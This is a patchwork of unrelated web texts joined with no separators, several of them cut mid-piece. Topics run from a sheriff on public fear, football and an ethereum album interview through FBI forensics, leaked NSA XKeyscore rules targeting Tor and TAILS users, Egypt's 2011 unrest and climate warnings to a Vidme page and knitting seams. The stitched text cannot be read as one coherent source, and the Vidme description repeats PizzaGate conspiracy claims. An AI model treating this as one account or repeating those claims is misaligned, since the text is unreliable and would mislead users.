Coupled with a struggling economy, these shifts have "contributed to this fear on the right," she said.
Hammond said he gives about 15 Neighborhood Watch talks every couple of months and people's concerns about safety and security have exploded in the last few years.
"I also get the people who want me to arm them tooth and nail out there," he said.
On schools, he added, "my emails and my phone calls are ringing off [the hook] from people who just want to get their bazooka and go down and protect the school.
"So people are just more nervous, more upset about the unknown. We've got to be reasonable about how we approach that as police."
James Mapp, president of the local chapter of the National Association for the Advancement of Colored People, said that, sadly, some people seem to adopt the line of thinking Hammond describes.
"I think people buy what's put before them. I think there's an element that profits because of this," he said. "It's a shame. The office of president should be one that's respected. Too many people in our country fail to respect the office of president regardless of who's in that office."
The sheriff said he respects the office of president whether or not he likes the person who sits in the White House.
Hammond said public fear about the president's race stem from "an Old South thing [that] in the South they just think that everything's gonna happen. It's [the] same thing you had after the Civil War with the carpetbaggers."
He called the fear "unnatural."
Mark West, who heads up the local tea party, said concerns about safety and security also have grown with the national debate over expanding gun control. Tea party members share concerns about fiscal responsibility at the federal level as well as leaders adhering to the U.S. Constitution, according to the group's website.
However, he said the president's race has never entered in those conversations.
"It's really a factor of the policies of an individual -- not the color of his skin," he said.
West said he doesn't doubt that the sheriff has had more people calling him with concerns.
Jose Mourinho criticised the referee as Chelsea slipped to a friendly defeat at Werder Bremen in a game Mourinho described as 'a circus'.
German referee Harm Osmers was in charge as the Premier League side lost 3-0 to their Bundesliga opponents, with two of the home side's goals coming from the penalty spot.
Chelsea started with Diego Costa, Fernando Torres, Cesc Fabregas and Thibaut Courtois - and Didier Drogba came on as a second-half substitute - but Mourinho felt the whole afternoon had been a waste of time.
"I learned nothing from this game," Mourinho told Sky Sports News. "Our expectations are not fulfilled because when we decided to have this match here in Bremen we thought about an evolution in difficulty.
"We were expecting a fast game a competitive game but we come here and the referee thought this was a circus for Bremen fans - for them to have fun - and he killed the match.
"This game for us would have been perfect. I like the Werder Bremen team - they are fast, intense and they defend with a lot of people. The opponent is perfect for us to compete today but we couldn't play."
Mourinho also said that he has no problem with Frank Lampard joining Manchester City on a six month loan deal.
Lampard has joined New York City FC - who are part owned by City - but he could now play against Chelsea next month; If he does, Mourinho expects him to get a good reception.
The ethereum network has been getting a lot of hype lately, which is mostly due to the nearly 4,000 percent increase in the price of ether, its native cryptocurrency, since the beginning of the year. At the time of writing, the ethereum network, which is a distributed computing platform that uses blockchain technology to host decentralized applications, is worth nearly $30 billion.
This is partly due to a recent wave of initial coin offerings (ICOs), which are essentially crowd-funding campaigns for ethereum startups, have demonstrated that there is no shortage of ideas for how the ethereum network will be put to use. This has turned some developers into instant millionaires, but André Allen Anjos, a Grammy-winning DJ better known by his stage name RAC, is pursuing a more creative use for the ethereum blockchain.
On July 14, RAC will be releasing his latest album, EGO. Although this is RAC's fifth LP, it is still a notable first for the 32-year-old DJ since it will be the only full-length record that has been distributed on the ethereum blockchain. According to RAC, after he finished recording the album in November he began spending his free time learning about cryptocurrencies like bitcoin and ethereum. After learning more about how the blockchain worked, it dawned on him that it could be used as a platform to release his new album and so RAC set about putting this plan into motion.
"When the price of ether started to go up I looked more into it," RAC told me over the phone. "That's when the lightbulbs went off and I was like, 'oh wow, this is legit.'"
To release EGO, RAC partnered with Ujo Music, a platform owned by Consensys, the largest ethereum development company.Ujo made headlines in 2015 for partnering with Imogen Heap for a single that was distributed on the platform and paid for using the ethereum blockchain.
Other musicians have expressed their interest in the blockchain previously—Pitbull is a big fan of Bitcoin—but RAC is the first to use the network for a full album. He'll also be bringing a number of other big names featured on the record along for the ride, including Weezer's Rivers Cuomo, as well as the indie darlings Joywave and the South African electropopstar St. Lucia.
I caught up with RAC during a break in his hectic touring schedule to talk to him about his new album and what ethereum can do for musicians.
Motherboard: What made you want to release your album on the ethereum network?
RAC: It's very interesting what they're trying to do, this whole idea of a world computer. Once I got into that I went down the YouTube rabbit hole and watched every Vitalik Buterin [the creator of ethereum] interview. That's when I had this idea: Since I have an album coming out anyway, why not try to do something with somebody in that world. It was the perfect opportunity. I ended up posting on a small ethereum subreddit for trading called ethtrader, just kind of reaching out to the community to see how I could get involved with music in that space. I ended up getting hooked up with this group called Ujo Music.
When you talk to other musicians about ethereum, do they have any idea what you're talking about?
I've learned very quickly that as soon as I start talking about this stuff, you kind of lose some people right away. That's really been the struggle with all this: how we do we simplify the concept because it is so new and so different? The thing that gets people's attention is when you tell them how you're essentially cutting out middlemen. For a lot of people that's exciting because they're maybe tired of the 30 percent Apple takes [from musicians]. Even Bandcamp and PayPal take a percentage. There's all these people in the way. I don't think this is going to replace Spotify or iTunes, but being able to support the artist directly is pretty important. I think when you approach people that way, they kind of get it, even if they don't care about the decentralization and all the really interesting tech stuff behind it.
This album won't actually be hosted on the blockchain, right?
That's where we started and we've been going down this path for at least a month now. The album isn't going to be hosted on the blockchain, the files are hosted on the interplanetary file system [a decentralized file storage protocol]. But you pay for it with ether sent through a smart contract. Imogen Heap had done this in 2015 with just one song and they were playing around with this idea of attribution, like immediately sending writers of the song their share.
In 2015, Imogen Heap released "Tiny Human" using Ujo Music. The point was to allow the artistic collaborators on that single to be automatically paid their royalties by cutting out the middlemen with blockchain-based smart contracts. Will this automatic royalty payment scheme also be used for your album?
The album comes out July 14 so unfortunately no. By the time we go involved with this, it was a little too late. The infrastructure for that isn't there yet. Ujo is building it, and that's the goal, but this is really early. I see it as a proof of concept.
Read More: Why Did This Company 'Burn' $2.6M Worth of Ether?
How would someone actually go about buying your album using ether when it's released?
We're trying to make it as seamless as possible. Buying ethereum is still something of a bottleneck, but you're going to have to buy ether. I'd recommend going to Coinbase or something like that to buy some. The album will be on a website and will work with a lot of built-in ethereum wallets, like MetaMask or Parity. All you need to have is the chrome browser with the ether account already attached to it. There's a little bit of a learning curve but it's not too bad.
Ethereum evangelists tout the network's inherent decentralization as one of its selling points since being decentralized makes the network more immune to failure and manipulation. Unlike a normal computer that exists in a single discrete location at any given time, the ethereum network exists across tens of thousands of nodes around the world. Is the decentralization of the ethereum network an important technical feature to you?
Richard Vorder Bruegge, a scientist in the photographic unit at the FBI's forensics lab, developed the technique during an investigation into the bombings and bank robberies that occurred in Spokane, Washington, during the spring and summer of 1996.
At the trial, in June 1997, the criminals were convicted based in part on the FBI's analysis of their jeans. Unlike hair and fiber analysis, this technique involves no chemistry and is strictly a comparison between photographs and the articles of clothing submitted as evidence. Vorder Bruegge says it's the same sort of comparison a forensics scientist would make to match a fingerprint or tire tread, looking for unique patterns.
When FBI field agents arrest suspects, they also have a search warrant for their home and car. Vorder Bruegge said that in the Spokane case the agency gathered hundreds of articles of clothing, including 27 pairs of jeans, to look for traces of explosives.
As you continually wash jeans, Vorder Bruegge says, the dye rubs off and exposes the white cotton underneath. They fade in a unique pattern, he says, because in their manufacture, the motion of pulling the jeans through a machine causes inconsistent bumps along the seams. Primarily, the FBI looks at the fading that results from these manufacturing inconsistencies. When the bureau analyzed the jeans in the Spokane case, one pair matched more than two dozen features of the jeans in the crime scene photograph.
"The main reason we were able to make out these jeans in particular was because the bank that was robbed used high quality 35mm cameras. Unfortunately, most places today are using video cameras, which have poorer resolution," Vorder Bruegge says.
Jack King, Public Affairs Director at the National Association of Criminal Defense Lawyers (NACDL) is skeptical of the FBI's newfound fashion sense.
"Even with digitally enhanced photography, I have severe doubts about this technique, and will continue to have severe doubts until it's proven conclusively. It sounds like voodoo to me," he says.
In the Spokane case, one of the gang was caught on film in April 1996. He was wearing a mask, but part of his faded jeans was visible, and he stood still long enough for the camera to get a clear picture.
Although this was the first time the FBI was able to derive conclusive evidence from this type of seam fading, the bureau was able to place another criminal at the scene of a crime based on a circular pattern caused by a can of chewing tobacco repeatedly stored in one suspect's back pocket.
At the Spokane trial, a used-jeans exporter was an expert witness for the defense, and he claimed the patterns were common to all jeans. From a total of 400 pairs of jeans, he showed the court 34 similar pairs, but in each case the FBI could distinguish them from the accused's.
Still, the NACDL's King remains skeptical that photographic evidence is clear enough to analyze something as subtle as jean wear patterns.
The apartment building located in the 39800 block of Fremont Boulevard was being fumigated for bed bugs and was covered with a tent.
The residents shared the surveillance footage from the camera they purchased just days earlier out of fear one of the fumigation workers might steal from them. What they wound up seeing was even more shocking.
With a mask over his face, the burglar clearly knew he was in a dangerous space. Using the flashlight on his phone, he is seen taking him time rummaging through a console.
He casually walks into the bedroom after making a stop in the kitchen. He spends about 30 to 40 minutes in the apartment, eventually winding up back in the living room where he places the valuables he found in a bag he came with – all the while ignoring clear warning signs that no one should be inside.
Eventually he hops out of a window of the first floor apartment, but he doesn’t get very far.
“He had some labored breathing and he was also sweating,” said Geneva Bosques of the Fremont Police Department. “He wasn’t able to communicate really well or at least not really clear.”
The family who lives in the home said he stole an iPhone, an iPad, and other electronics.
Fremont police said officers found him outside the complex after a 911 call came in shortly after 2 p.m. He later died at the hospital. “Do Not Enter” signs announcing the presence of the chemicals sulfuryl fluoride and chloropicrin were posted at the scene.
The coroner’s office identified him as 24-year-old Markangelo Yap.
Before he collapsed, Yap also ransacked Melissa Genberg’s apartment, not far from where he was caught on surveillance video.
“I can’t believe that person who was in our apartment is dead,” said Genberg.
The report was co-authored Lena Kampf, Jacob Appelbaum, and John Goetz, and included what the researchers claimed was source code configuration files from the NSA’s secretive tracking program — reportedly leaked by a source other than Edward Snowden.
The code focused on the MIT server, which hosts an anonymizing email tool, was particularly broad. It was unclear whether or not it included exceptions screening out U.S. persons and other visitors from the so-called “Five Eyes” nations (Australia, Canada, New Zealand, United Kingdom, United States) that have a joint signals intelligence partnership: Some parts of the configuration file targeting other activity seemed to definitely exclude those visitors, but this exclusion code was absent in the MIT server’s parameters.
Instead, the code appears to simply look for all visitors to a certain IP address (128.31.0.34), which includes not only MixMinion, the anonymous email tool, but also gaming libraries and privacy-focused web site materials, according to the researchers.
// START_DEFINITION
appid('anonymizer/mailer/mixminion', 3.0, viewer=$ascii_viewer) =
http_host('mixminion') or
ip('128.31.0.34');
// END_DEFINITION
The segment of the code that screens for individuals interested in Tor is slightly more narrow, explicitly excluding Five Eyes-originating visitors:
// START_DEFINITION
The fingerprint identifies sessions visiting the Tor Project website from
non-fvey countries.
fingerprint('anonymizer/tor/torpoject_visit')=http_host('www.torproject.org')
and not(xff_cc('US' OR 'GB' OR 'CA' OR 'AU' OR 'NZ'));
// END_DEFINITION
But the TAILS parameters were broader, segmenting aside Internet users who simply searched for terms related to the privacy-focused operating system that was used by Edward Snowden:
// START_DEFINITION
This fingerprint identifies users searching for the TAILs (The Amnesic
Incognito Live System) software program, viewing documents relating to TAILs,
or viewing websites that detail TAILs.
fingerprint('ct_mo/TAILS')=
fingerprint('documents/comsec/tails_doc') or web_search($TAILS_terms) or
url($TAILS_websites) or html_title($TAILS_websites);
// END_DEFINITION
As BetaBoston reported earlier this year, the Tor browser is often used by individuals in abusive relationships to help protect their privacy and physical safety, and was originally developed by the U.S. Navy to overcome censorship and spying by other countries.
The NSA has admitted previously that some of its own analysts have used its surveillance tools to spy on romantic interests or former partners.
How much extra scrutiny triggering these newly disclosed filters incur was unclear from the report.
Well known technology author Cory Doctorow wrote that he was given the materials under embargo, and was shocked by what he read:
Tor and Tails have been part of the mainstream discussion of online security, surveillance and privacy for years. It’s nothing short of bizarre to place people under suspicion for searching for these terms. More importantly, this shows that the NSA uses “targeted surveillance” in a way that beggars common sense. It’s a dead certainty that people who heard the NSA’s reassurances about “targeting” its surveillance on people who were doing something suspicious didn’t understand that the NSA meant people who’d looked up technical details about systems that are routinely discussed on the front page of every newspaper in the world. … One expert suggested that the NSA’s intention here was to separate the sheep from the goats — to split the entire population of the Internet into “people who have the technical know-how to be private” and “people who don’t” and then capture all the communications from the first group.
He said his source indicated that the leaker of the source code was not Snowden, but a second source with access to NSA materials. Bruce Schneier, a security expert with access to the Snowden files and a fellow at Harvard’s Berkman Center, also said he believed there was a second NSA leaker.
The NSA responded to questions from BetaBoston with the following statement:
In carrying out its mission, NSA collects only what it is authorized by law to collect for valid foreign intelligence purposes – regardless of the technical means used by foreign intelligence targets. The communications of people who are not foreign intelligence targets are of no use to the agency. In January, President Obama issued U.S. Presidential Policy Directive 28, which affirms that all persons – regardless of nationality – have legitimate privacy interests in the handling of their personal information, and that privacy and civil liberties shall be integral considerations in the planning of U.S. signals intelligence activities. The President’s directive also makes clear that the United States does not collect signals intelligence for the purpose of suppressing or burdening criticism or dissent, or for disadvantaging persons based on their ethnicity, race, gender, sexual orientation, or religion. XKEYSCORE is an analytic tool that is used as a part of NSA’s lawful foreign signals intelligence collection system. Such tools have stringent oversight and compliance mechanisms built in at several levels. The use of XKEYSCORE allows the agency to help defend the nation and protect U.S. and allied troops abroad. All of NSA’s operations are conducted in strict accordance with the rule of law, including the President’s new directive.
Macro Calculator
CARB, PROTEIN, FAT CALCULATOR Calories per day ( per day ( calc daily cals here Common Macro Ratios Moderate Moderate II Zone Diet (40-30-30) Low Fat Low Carb Keto Carbohydrate % Protein % Fat % Meals per day Three Four Five Six Results CARB PROTEIN FAT GRAMS per day GRAMS per meal CALORIES per day CALORIES per meal
How much carbohydrate, protein, and fat should you be eating each day?
Directions
Enter daily Calorie goal amount. Select from a number of common diet ratios. Or, put in custom ratios. Select how many meals you eat each day. Calculate!
Results show exact number of Calorie and grams required for each nutrient.
How Does This Work?
If you have figured out your ideal daily calorie intake, the Macronutrient Calculator helps you convert this into grams of food.
Food are grouped into Carbohydrates, Proteins, and Fats.
Various diet regimes propose different ratios for each macronutrient.
Figuring Out the Macronutrients in Food
Packaged foods have nutritional information posted on them, but fresh foods or restaurant meals have to be figured out manually.
However, there are a few great tools that do all the work for you.
There are many other options.
Do Macronutrients Matter?
There is a difference of opinion on this. Some feel that only calories count, while others argue that distribution of nutrients is what is important.
Some argue that manipulating macronutrient levels is a successful technique for both losing fat and gaining muscle.
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There is some research pointing to higher protein diets having modest benefits in reductions in weight (over standard low-fat diets).
It’s not all about calories. Gary Taubes’ book Good Calories, Bad Calories delves into how our bodies are for more complex than first thought, and processing of fat is not simply about energy intake. His paper "The science of obesity" argues that the energy balance (calories in, calories out) is just a hypothesis.
Other research argues that it’s only reduced calories that works, regardless of which macronutrients are emphasized.
The reality is – you must find what works for you – and to do this you have to start somewhere! If it doesn’t work – try something else.
Getting It In Context
Here’s a quick look at what the gram values are for some common items.
Carb Protein Fat McDonalds Big Mac & Large Fries 116g 31g 55g 1 Slice of Super Supreme Pizza from Pizza Hutt 28g 13g 17g 4oz (113g) skinless boneless chicken breast, 1 cup brown rice (cooked), 1 cup broccoli 43g 38g 5.5g
The fat in a Big Mac and Fries can contain enough fat for an entire days intake!
Egypt's vice-president has said protesters calling for the departure of Hosni Mubarak, the president, are not "part of the Egyptian culture", saying "we all respect Mubarak as father and leader".
Omar Suleiman made the comments during an interview with state television on Thursday, in which he also said recent violence in Cairo, the capital, could have been the result of a "conspiracy".
"We will look into [the violence], into the fact it was a conspiracy," he said.
At least 13 people have been killed in clashes in Tahrir (Liberation) Square, central Cairo, as violence continues between pro-government groups and pro-democracy protesters.
Suleiman called on the protesters to end their 10-day demonstration, saying the government had now met their demands for reform, adding that the call for Mubarak to step down would be a "call for chaos".
"End your sit-in. Your demands have been answered," said Omar Suleiman.
'Crime of war'
He said constitutional change would take at least 70 days, and that a parliament was needed in order to look at it.
"The January 25 movement wanted to dissolve the parliament but we can't do that if we are going to amend the constitution," he said.
"We have to look into the future of Egypt, who will run this country, who will lead Egypt in the next six years, who will represent the country?"
But a pro-democracy activist dismissed Suleiman's speech, saying it was all a "ridiculous lie".
"From the beginning we were saying we want the whole regime to be out," she told Al Jazeera.
"There are thugs and bullies preventing us from getting medical and food supplies. It's outrageous. We are not interested in anything they say unless it is that they are leaving now.
"Especially after the brutality ... we cannot accept this. This is a crime of war."
However Diaa Rashwan, a political analyst at the Al Ahram Centre for Political and Strategic studies, praised Suleiman for accepting dialogue with opposition forces, including the Muslim Brotherhood.
"Suleiman makes the process of political reform conditional on the outcome of the dialogue with the opposition.
"This indicates his seriousness about holding sincere dialogue with opposition forces," he told the Reuters news agency.
But Mohamed Katatni, a senior Muslim Brotherhood member, said the only way Egyptians would accept dialogue with Suleiman is "after Mubarak's departure, when he steps down".
PM apology
Suleiman's interview comes after Ahmad Shafiq, the Egyptian prime minister, apologised for the violence in Tahrir square, saying it could not be allowed to recur.
Like Suleiman, he also said calls for Mubarak to step down were "unacceptable", but said that dialogue with all opposition groups will begin.
Asked if this includes the Muslim Brotherhood, banned from political activities in Egypt, Shafiq said: "No one will be excluded from the dialogue".
Egypt's cabinet meanwhile, has denied that it had a role in mobilising supporters of Mubarak against pro-democracy protesters in Tahrir Square.
"To accuse the government of mobilising this is a real fiction. That would defeat our object of restoring the calm," Magdy Rady, a cabinet spokesman told Reuters news agency.
"We were surprised with all these actions. The government will take the measures it can to identify who was behind this and try to deal with this."
A farmer in China spreads pesticide on her crops. (FPRI via Flickr)
LONDON — China is protecting itself against future food supply problems caused by climate change by buying or leasing large tracts of land in Africa and South America, a leading UK climate scientist says.
Professor Peter Wadhams, an expert on the disappearing Arctic ice, says that while countries in North America and Europe are ignoring the threat that changing weather patterns are causing to the world food supply, China is taking “self-protective action”.
He says that changes in the jet stream caused by the melting of the ice in the Arctic are threatening the most productive agricultural areas on the planet.
“The impact of extreme, often violent weather on crops in a world where the population continues to increase rapidly can only be disastrous,” he warns.
“Sooner or later, there will be an unbridgeable gulf between global food needs and our capacity to grow food in an unstable climate. Inevitably, starvation will reduce the world’s population.”
Protect food supply
Professor Wadhams, former head of the Polar Ocean Physics Group at the University of Cambridge, says China has already realised this is a threat to its future stability and has been taking over large areas of land in other countries to grow crops to protect its food supply.
The drawback, he says, is that the Chinese are introducing industrial agricultural practices that damage the soil, the water supply and the rivers.
“But China is positioning itself for the struggle to come — the struggle to find enough to eat,” he says. “By controlling land in other countries, they will control those countries’ food supply.”
Professor Wadhams, who is a former director of the Scott Polar Research Institute in Cambridge, is the UK’s most experienced sea ice expert.
In his new book, A Farewell to Ice, he describes a number of serious threats to the planet resulting from the loss of Arctic ice. These include much greater sea level rise than estimated by the Intergovernmental Panel on Climate Change (IPCC), resulting in the flooding of cities and of low-lying deltas where much of the world’s food is grown.
“China is positioning itself
for the struggle
to come
—the struggle to find enough to eat”
He says China has seen the unrest in parts of the world caused by food price increases in 2011 during the Arab Spring, and has sought to guard against similar problems at home by buying land across the globe.
His warnings are echoed in Brazil, where there are concerns about Chinese plans to build a 3,300-mile (5,000km) railway to get soya, grain and timber to the coast to supply China’s needs.
But fears over land grabs by China are only a small part of the changing world that will be created by the loss of ice in the Arctic discussed by Wadhams in his book.
He attacks the last four British prime ministers — John Major, Tony Blair, Gordon Brown and David Cameron — for talking about climate change and doing little. And he says his fellow scientists on the IPCC are failing in their duty to speak out about the full dangers of climate change.
Professor Wadhams told Climate News Network that colleagues “were too frightened of their jobs or losing their grants to spell out what was really happening”. He said it makes him very angry that they are failing in their duty through timidity.
Based on his own measurements and calculations, he believes that summer ice in the Arctic will disappear before 2020 — which is 30 years before the IPCC estimate. He also believes that sea level rise has been badly underestimated because the loss of ice from Greenland and the Antarctic was not included in the IPCC’s estimates.
“My estimates are based on real measurements of the ice in the Arctic — the IPCC rely on computer simulations. I know which I believe.”
He is also concerned about the large escapes of methane from the Arctic tundra and the shallow seas north of Siberia — again, something that has not been fully taken into account in the IPCC’s calculations on the speed of warming.
Bordering on dishonest
“They know it is happening, but they do not want to frighten the horses [alarm people]. It is bordering on the dishonest,” he says.
Professor Wadhams has concluded that there is now so much carbon dioxide in the atmosphere that dangerous warming is inevitable unless more drastic action is taken. He says reducing emissions will help, along with planting forests, but it will never be enough.
“What is needed is something that has not been invented yet — a large-scale method of passing air through a machine and taking out the carbon dioxide,” he says.
“In the long run, only by taking carbon out of the air can we hope to get the concentrations down enough to save us from dangerous climate change.
“It is a tall order, but if we spend enough money on research we can find a way. Our future depends on it.”
This video was hosted on Vidme, which is no longer in operation. However, you might find this video at one of these links:
Video title:
Youtubers Switching to Vid.Me - Centralized Control or Decentralized Anarchy - The Choice
Upload date:
January 1 2017
Uploaded by:
Titus_Frost
Video description:
The choice to travel the roads of censorship, centralized control for the powers that shouldn't be or to use new video platforms like Vid.me. Well I say use both in case they shut one down we will have new alternate platforms already established to use when the censorship hammer comes down. Topics: Titus Frost YouTube Channel Switch to Vid.me. PizzaGate is comign tot he Daily Show to make us all look bad. PizzaGate psyops like Giuliani and Pegasus Kill Room. An update on the YouTube Pedophile ring. Elizabeth Warren decides to run for re-election so I tell her off. Show Notes: https://steemit.com/vidme/@titusfrost/youtubers-switching-to-vid-me-centralized-control-or-decentralized-anarchy-the-choice My YouTube Channel: https://www.youtube.com/channel/UCDHrwVzgl-vZ14wWnN1LVjQ My Twitter: https://twitter.com/ImperatorTruth My Steemit: https://steemit.com/@titusfrost
Total views:
Wendig's Aftermath hit shelves on Sept. 4 as part of the Force Friday merchandise event for the new Star Wars trilogy. It's among the first installments in a new state of Star Wars continuity — since the slate of the the Star Wars Expanded Universe was wiped clean for the new movies — and it's the very first look that fans have at the new state of the galaxy after the events of Return of the Jedi. Aftermath follows the adventures of Sinjir Rath Velus, and Imperial officer who turns from the Empire after witnessing the Battle of Endor — it's okay, Sinjir, we all felt bad when that one Ewok tried to get his dead Ewok buddy to stand up — and joins the Rebellion.
Sinjir's sexuality, while definitely established, is not a huge part of the events of Aftermath. During a rather frank exchange with a female character in the novel, he states that he's not interested in women romantically. It's a lighthearted, somewhat awkward scene, and isn't referenced again in the novel.
But just because Sinjir's sexuality is a minor note in Aftermath doesn't mean it wasn't something Wendig took seriously. He told Entertainment Weekly:
"I think fiction has sort of a value and an opportunity to speak to audiences beyond both the author and beyond what you 'expect' that audience to be. And it allows people to see themselves in stories where, before, they hadn't. I don't think it's necessarily the responsibility of storytellers to do that, because everybody's free to tell the stories they want to tell, but I think there is a value and opportunity in doing so."
This isn't the first time that a Star Wars novel has featured a gay character. That honor goes to Star Wars: Lord of the Sith, released earlier this year, and its Moff Mors, an openly lesbian woman. Sinjir also isn't the only gay character in Aftermath, as a lesbian couple are among the book's secondary characters.
But the news that a major Star Wars novel has a gay protagonist is still controversial in the year 2015. At the moment, Aftermath's Amazon.com listing stands at 2.5 out of 5 stars, with one-star reviews making up 40 percent of those. Wendig himself acknowledges that poor reviews of his book (which aren't necessarily hurting him that badly, due to the nature of Amazon's algorithms) likely come from three main sources:
Folks who have issue with his writing itself
Folks who have set themselves up to dislike the new Star Wars canon out of love for the old, defunct one
Folks who are cool with a universe where giant slugs desire to sexually enslave humanoid women, but not where men dare to casually mention their sexual or romantic feelings for men
Naturally some of these points are more defensible or understandable than others, and Wendig had some choice words for that last group in a recent blog post about his experience launching the book. (Not the only time that somebody working on the Star Wars universe has thrown down the gauntlet on the insensitive lately.)
If you're upset because I put gay characters and a gay protagonist in the book, I got nothing for you... You're not the Rebel Alliance. You're not the good guys. You're the fucking Empire, man. You're the shitty, oppressive, totalitarian Empire. If you can imagine a world where Luke Skywalker would be irritated that there were gay people around him, you completely missed the point of Star Wars. It's like trying to picture Jesus kicking lepers in the throat instead of curing them. Stop being the Empire. Join the Rebel Alliance. We have love and inclusion and great music and cute droids.
Dewlance announced that they are now accepting payments in Bitcoins because their customers and visitors had demanded it. Bitcoin is a digital currency accepted by many companies.
Dewlance’s Cheap Windows VPS CEO Mr. Kunnu talked to us via phone about his decision to implement Bitcoin. In a meeting, which was held in the Hotel City Park in Delhi, CEO Mr. Kunnu and MD decided to accept this new type of payment. In a presentation he pointed out that there was a 36.2% increase in demand for the implementation of Bitcoin during the last three months and mentioned the high popularity of this type of currency among customers. As a consequence, The CEO & MD as well as some other shareholders agreed to accept Bitcoins.
About Dewlance?
Bitcoin, dewlance, hosting, shared hosting Kunnu Dewlance
Dewlance is a hosting company headquartered in Delhi, which was founded in 2009. They are a hosting company that has been operating for more than six years and focus on Shared Hosting as well as Windows/Linux VPS Plans.
The CEO of Dewlance Informed us that as many as 20.76% customers who use other payment gateways have already switched to Bitcoin. Recently they received 300+ orders, 136 of which were paid via Bitcoin.
Dewlance is and old and reputed hosting company. They do not charge penalty fees on late over-due invoices and are also known to issue quick refunds with a 30 day money back guarantee. Their VPSs are also fast. Dewlance give priority to good customer service. Their main products are the Windows Virtual Private Servers and the Reseller Hosting.
They maintain servers in Orlando, Chicago, Las Vegas, Phoenix and these four locations are also used for hosting VPSs. Shared hosting servers are located in Phoenix, Canada, UK and Buffalo NY. The VPS server hardware is SSD-based and the disks are configured with RAID10 arrays.
This is an account of how this transformation came to be.
Open science is a collection of practices that are required to enable reproducible research. That is, reproducibility verification is the goal, and open science is an efficient path to reach that goal. It is by making openly available all of the materials that describe an experiment, that we enable others to perform independent verifications of that experiment. Some traditional journals are embracing open science practices with the goal of improving the reproducibility record. One is Nature Methods.
It was back on November 4, 1869, that Nature published their first issue. Since then, the journal has grown into a collection of journals on diverse scientific topics considered to be top-rated resources. Interestingly, back in 1864, science-teaching in schools was a concern as it is today (illustrated by one of the articles in that first issue). Then, after 14 decades of publishing scientific articles, a credibility crisis happened. The public found out that many published articles were not reproducible, and as a reaction to this revelation, some Nature journals began to adopt policies that require authors to share their code and data.
I think of Linus Torvalds’ famous quote: "Talk is cheap, show me the code."
The journal Nature Methods is one that has taken on this new "code of ethics", and has written and included a new principles in their instructions to authors:
"An inherent principle of publication is that others should be able to replicate and build upon the authors' published claims. Therefore, a condition of publication in a Nature journal is that authors are required to make materials, data and associated protocols available to readers promptly on request."
Software tools for scientific research is another important factor in helping scientisits and researchers create work that is reproducible. In 2007, Nature Methods wrote:
"Software that is custom-developed as part of novel methods is as important for the method's implementation as reagents and protocols. Such software, or the underlying algorithms, must be made available to readers upon publication." "If a software program is the focus of the report, we expect the programming code to be made available. Without the code, the software—and thus the paper—would become a black box of little use to the scientific community." “Some authors who favor the highest degree of transparency and sharing for their software elect to develop their programs in an open-source environment. By doing so, the authors not only provide accessibility and transparency, they also allow the community to build upon their own developments and make continuous improvements to the tool.”
More recently, this year Nature Methods wrote more on their motivation for embracing open science practices:
"The usefulness of computational methods can be improved by releasing code and designing software that supports reproducible research."
The application of these policies has already had an effect on the amount of code that is shared across the scientific community, but clearly, more remains to be done.
"Since 2007, we have published 133 articles with accompanying supplementary software files, of which approximately 70% included the source code. Although many researchers have clearly embraced the idea of releasing their code upon publication—thus increasing the usability, reproducibility and impact of their work—more could do so."
Knowing the magnitude of work to be done, and with a forward-thinking mindset, Nature Methods has embraced modern tools for code management.
"Nature Methods strongly encourages researchers to take advantage of the opportunity that code repositories, such as GitHub, provide to improve a software tool before submission. [...] Use of a repository can also improve peer review by streamlining and exposing code revisions."
The source code for more open science is not enough, we also must also implement recipes for building and running the code.
"But even code release is insufficient when the software is used to acquire new biological results for publication. Nearly all software has user-defined parameters that can or must be tuned to the data characteristics or analysis goals. These parameter values should be reported alongside the output. This practice helps ensure reproducibility even in the lab doing the work."
Another critical method for making research and science more reproducible is the practice of testing software regularly:
"Unstable code that fails to provide consistent output can also compromise reproducibility. Here, the application of good software coding practice such as unit testing and automated builds can help ensure that code changes do not have unexpected consequences that alter the output obtained from standard inputs."
The 2014 editorial by Nature Methods closes with this note:
"An open implementation that supports reproducible research not only provides confidence in the performance of a method but increases the likelihood that other researchers can use and build upon it."
More specific guidelines for scientific software publication were provided by Nature Methods this year in a blog post.
We need more respected, traditional journals revising their principles to be more open. By making these steps clear, Nature Methods has made their transition to embracing the modern practices of scientific research easy for their authors to follow, scientists to understand, and for others to emulate. Who's next?
You can choose from many types of seaming techniques, depending on your personal preference. Each method has its own characteristics and may require different tools.
It is best to use your knitting yarn to sew the pieces together, unless you have used a novelty or untwisted, roving yarn. In that case, sew the seams with a flat, firm yarn in a compatible color. Be sure that it has the same washability as your knitting yarn.
Block your pieces before you sew them together to make the edges smoother and easier to seam. Pin or baste the seams before final seaming. Try the garment on and make sure that it fits properly.
Attach any small items, such as pockets or embroidery, before seaming, as it is easier to work with one piece than the entire garment.
Most knitters follow this sequence when seaming a garment: Sew one or both shoulder seams, depending on the type of garment and the method you'll use to add any neckband. Sew the sleeves to the body, and then sew the side and sleeve seams.
As you seam, try to keep an even tension. Pull the yarn firmly as you go but not so tightly that the edges will pucker.
Do not use too long a piece of yarn when seaming—no more than 18"/46cm. The constant friction of the yarn through the knitting can cause the yarn to break.
Be sure to keep the seam in a neat, straight line. Always insert your needle in the same place along the seam. If necessary, run a contrasting thread through the stitches or rows to help you see the line more clearly.
If the two pieces you are seaming are slightly different lengths, you can compensate by picking up two rows or stitches on the longer side every few inches. This can only work if the difference is no more than ½"/1.5cm. If it is any more than that, you must rework one of the pieces.
Any edges that will be turned back, such as cuffs or a turtleneck, should be seamed from the opposite side so that the seam will not show when the edge is turned.
how to begin
If you have left a long tail from your cast-on row, you can use this strand to begin sewing. To make a neat join at the lower edge with no gap, use the technique shown here.
Thread the strand into a yarn needle. With the right sides of both pieces facing you, insert the yarn needle from back to front into the corner stitch of the piece without the tail. Making a figure eight with the yarn, insert the needle from back to front into the stitch with the cast-on tail. Tighten to close the gap.
invisible vertical on stockinette stitch
The invisible vertical seam is worked from the right side and is used to join two edges row by row. It hides the uneven selvage stitches at the edge of a row and creates an invisible seam, making it appear that the knitting is continuous.
The finished vertical seam on stockinette stitch Insert the yarn needle under the horizontal bar between the first and second stitches. Insert the needle into the corresponding bar on the other piece. Continue alternating from side to side.
invisible verticle on ribbing
Purl to Purl
When joining ribbing with a purl stitch at each edge, insert the yarn needle under the horizontal bar in the center of a knit stitch on each side in order to keep the pattern continuous. Knit to Knit
When joining ribbing with a knit stitch at each edge, use the bottom loop of the purl stitch on one side and the top loop of the corresponding purl stitch on the other side. Purl to Knit
When joining purl and knit stitch edges, skip knit stitch and join two purl stitches as at left.
invisible vertical on garter stitch
